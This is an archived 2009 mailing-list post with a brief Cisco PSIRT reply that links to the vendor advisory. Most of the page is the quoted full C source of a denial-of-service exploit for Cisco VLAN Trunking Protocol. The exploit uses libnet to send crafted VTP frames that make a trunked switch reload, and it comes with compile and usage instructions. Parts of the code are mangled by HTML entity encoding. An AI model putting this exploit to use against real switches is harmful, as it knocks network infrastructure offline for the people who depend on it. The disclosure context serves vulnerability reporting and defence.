Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21172
HistoryJan 16, 2009 - 12:00 a.m.

RE: DoS code for Cisco VLAN Trunking Protocol Vulnerability

2009-01-1600:00:00
vulners.com
51

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello,
This is Paul Oxman with Cisco PSIRT.

    For mitigations and workarounds, please consult the Cisco 

Security Response available at:
http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml

Regards


From: showrun.lee [mailto:[email protected]]
Sent: Wednesday, January 14, 2009 7:59 AM
To: [email protected]; [email protected]
Cc: Paul Oxman (poxman)
Subject: DoS code for Cisco VLAN Trunking Protocol Vulnerability

/*DoS code for Cisco VLAN Trunking Protocol Vulnerability
*
*vulerability discription:
*http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml
*
*To Known:

  • 1.the switch must in Server/Client Mode.
  • 2.the port ,attacker connected,must be in trunk Mode.
  • Cisco Ethernet ports with no configuration are not
  • in trunk.but trunk mode can be obtained through DTP
  • attack by Yersinia.
  • 3.you must known the vtp domain,this can be sniffed
  • 4.some codes are from Yersinia.

*Result:

  • switch reload.

*Compile:

  • gcc -o vtp `libnet-config --libs` vtp.c

*Usage:vtp -i <interface> -d <vtp_domain>
*
*Contact: showrun.lee[AT]gmail.com
*http://sh0wrun.blogspot.com/
*/
#include <libnet.h>
#include <stdio.h>
#include <stdlib.h>

#define VTP_DOMAIN_SIZE 32
#define VTP_TIMESTAMP_SIZE 12

struct vtp_summary {
u_int8_t version;
u_int8_t code;
u_int8_t followers;
u_int8_t dom_len;
u_int8_t domain[VTP_DOMAIN_SIZE];
u_int32_t revision;
u_int32_t updater;
u_int8_t timestamp[VTP_TIMESTAMP_SIZE];
u_int8_t md5[16];
};

struct vtp_subset {
u_int8_t version;
u_int8_t code;
u_int8_t seq;
u_int8_t dom_len;
u_int8_t domain[VTP_DOMAIN_SIZE];
u_int32_t revision;
};

void usage( char *s) {
printf("%s -i <interface> -d <vtp domain>\n",s);
exit (1);
}

int main( int argc, char *argv[] )
{
int opt,k=0;
extern char *optarg;
libnet_ptag_t t;
libnet_t *lhandler;
u_int32_t vtp_len=0, sent;
struct vtp_summary *vtp_summ;
struct vtp_subset *vtp_sub;
u_int8_t *vtp_packet,*vtp_packet2, *aux;
u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 };
u_int8_t dst_mac[6]={ 0x01,0x00,0x0c,0xcc,0xcc,0xcc };
u_int8_t aaa[8]={ 0x22,0x00,0x11,0x22,0x11,0x00,0x00,0x00 };
struct libnet_ether_addr *mymac;
char *device;
char error_information[LIBNET_ERRBUF_SIZE];
char *domain;

// get options
while ((opt = getopt(argc, argv, "i:d:")) != -1)
{
switch (opt) {
case 'i':
device=malloc(strlen(optarg));
strcpy(device,optarg);
k=1;
break;

      case &#39;d&#39;:
      domain=malloc&#40;strlen&#40;optarg&#41;&#41;;
      strcpy&#40;domain,optarg&#41;;
      break;
      
      default: usage&#40;argv[0]&#41;;
      }
 }
 if&#40;!k&#41; { printf&#40;&quot;  &#37;s -i &lt;interface&gt; -d &lt;vtp domain&gt;&#92;n     must

assign the interface\n",argv[0]);exit(1);}

//init libnet

lhandler=libnet_init&#40;LIBNET_LINK,device,error_information&#41;;
if &#40;!lhandler&#41; {
         fprintf&#40;stderr, &quot;libnet_init: &#37;s&#92;n&quot;, error_information&#41;;
         return -1;
 }

mymac=libnet_get_hwaddr&#40;lhandler&#41;;

//build the first packet for vtp_summary
vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary);
vtp_packet = calloc(1,vtp_len);
aux = vtp_packet;
memcpy(vtp_packet,cisco_data,sizeof(cisco_data));
aux+=sizeof(cisco_data);
vtp_summ = (struct vtp_summary )aux;
vtp_summ->version = 0x01;
vtp_summ->code = 0x01;//vtp_summary
vtp_summ->followers = 0x01;
vtp_summ->dom_len = strlen(domain);
memcpy(vtp_summ->domain,domain,strlen(domain));
vtp_summ->revision = htonl(2000);//bigger than the current revision
number will ok
t = libnet_build_802_2(
0xaa, /
DSAP /
0xaa, /
SSAP /
0x03, /
control /
vtp_packet, /
payload /
vtp_len, /
payload size /
lhandler, /
libnet handle /
0); /
libnet id /
t = libnet_build_802_3(
dst_mac, /
ethernet destination /
mymac->ether_addr_octet, /
ethernet source /
LIBNET_802_2_H + vtp_len, /
frame size /
NULL, /
payload /
0, /
payload size /
lhandler, /
libnet handle /
0); /
libnet id */

 sent = libnet_write&#40;lhandler&#41;;

 if &#40;sent == -1&#41; {
    libnet_clear_packet&#40;lhandler&#41;;
    free&#40;vtp_packet&#41;;
    return -1;
 }
 libnet_clear_packet&#40;lhandler&#41;;

//build the second vtp packet for vtp_subset
vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset);
vtp_packet2 = calloc(1,vtp_len);
aux = vtp_packet2;
memcpy(vtp_packet2,cisco_data,sizeof(cisco_data));
aux+=sizeof(cisco_data);

 vtp_sub = &#40;struct vtp_subset *&#41;aux;
 vtp_sub-&gt;version = 0x01;
 vtp_sub-&gt;code = 0x02; //vtp_subset
 vtp_sub-&gt;seq = 0x01;
 vtp_sub-&gt;dom_len = strlen&#40;domain&#41;;
 memcpy&#40;vtp_sub-&gt;domain,domain,strlen&#40;domain&#41;&#41;; 
 vtp_sub-&gt;revision = htonl&#40;2000&#41;;//bigger than the current revision

number will ok
// memcpy(vtp_sub->aaa,aaa,strlen(aaa));

t = libnet_build_802_2&#40;
    0xaa,            /* DSAP */
    0xaa,            /* SSAP */
    0x03,            /* control */
    vtp_packet2,      /* payload */
    vtp_len,         /* payload size */
    lhandler,        /* libnet handle */
    0&#41;;              /* libnet id */
t = libnet_build_802_3&#40;
    dst_mac,       /* ethernet destination */
    mymac-&gt;ether_addr_octet,     /* ethernet source */
    LIBNET_802_2_H + vtp_len, /* frame size */
    NULL,                     /* payload */
    0,                        /* payload size */
    lhandler,                 /* libnet handle */
    0&#41;;                       /* libnet id */

 sent = libnet_write&#40;lhandler&#41;;
 if &#40;sent == -1&#41; {
    libnet_clear_packet&#40;lhandler&#41;;
    free&#40;vtp_packet&#41;;
    return -1;
 }
 libnet_clear_packet&#40;lhandler&#41;;

}

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1

iQA/AwUBSW1hDvOp/xnPFP7gEQKwFQCfQ32qUNzWFL8dISsQew6+JQAFcnoAnRKq
yEEThaENUXT3HaLpVs+mdMHD
=U4Vq
-----END PGP SIGNATURE-----